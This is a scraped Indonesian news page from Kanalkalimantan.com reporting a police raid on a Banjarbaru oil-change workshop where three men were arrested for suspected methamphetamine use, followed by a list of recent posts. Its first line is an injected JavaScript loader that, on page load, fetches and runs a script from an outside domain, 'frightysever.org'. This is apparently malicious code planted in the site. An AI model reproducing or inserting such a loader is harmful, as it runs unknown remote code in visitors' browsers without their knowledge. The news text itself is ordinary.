(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Jadi Tempat Nyabu, Sebuah Bengkel Oli di Liang Anggang Digrebek Polisi


KANALKALIMANTAN.COM, BANJARBARU – Polsek Liang Anggang berhasil mengamankan tiga laki-laki diduga berpesta narkoba di sebuah bengkel ganti oli, Kamis (14/4/2022) sekitar pukul 22.15 Wita, di Jalan Gubernur Soebardjo, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru.

Kepada Kanalkalimantan.com Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aiptu Kardi Gunadi mengatakan, dalam rangka cipta kondisi di bulan Ramadhan, Macan Barbar Polsek Liang Anggang melakukan pengembangan terhadap laporan masyarakat, Unit Opsnal Reskrim Liang Anggang menggerebek sebuah bengkel yang ada di Jalan Gubernur Soebardjo.

“Bengkel itu oleh warga dilaporkan sering menyetel musik keras dan dicurigai sebagai tempat penyalahgunaan narkoba,” bebernya. Jumat (15/4/2022)

Dari giat tersebur petugas berhasil mengamankan tiga laki-laki, MR (40) warga Jalan Meranti 5, ES (41) warga Jalan A Yani Km 19,8 dan SR (41) warga Jalan A Yani Km 19,2.

 

Baca juga  : Minta Kasus Korban Begal Bunuh Pelaku Dihentikan, Ini Saran Kabareskrim ke Kapolda NTB

Saat petugas melakukan penggeledahan berhasil menemukan barang bukti yang diduga narkotika jenis sabu berserta alat hisapnya.

“Barang bukti yang diamankan berupa satu buah plastik klip yang di dalamnya sabu dengan berat kotor 0,21 gram,” bebernya

Selain itu, diamankan juga barang bukti berupa lima buah plastik klip didalamnya terdapat sisa sabu, satu buah kaca pipet yang didalamnya masih terdapat sisa sabu, satu buah bong dari botol kaca yang diatasnya terdapat 2 buah kaca yang dibengkokan. Kemudian satu buah pemantik api warna merah, satu buah HP Oppo A2020 warna hitam, satu buah HP Oppo warna biru, satu buah HP Oppo putih dan satu buah HP Sharp putih

Ketiga terduga pelaku dijerat pasal tindak pidana narkotika sebagaimana Pasal 132 ayat (1) sub Pasal 112 ayat (1) Pasal 127 ayat (1) huruf a UU RI NO 35 tahun 2009 tentang narkotika Jo pasal 55 ayat (1) ke-1 KUHP. Para tersangka beserta barang bukti diamankan dan dibawa ke Polsek Liang Anggang guna proses lebih lanjut.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie

 


Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.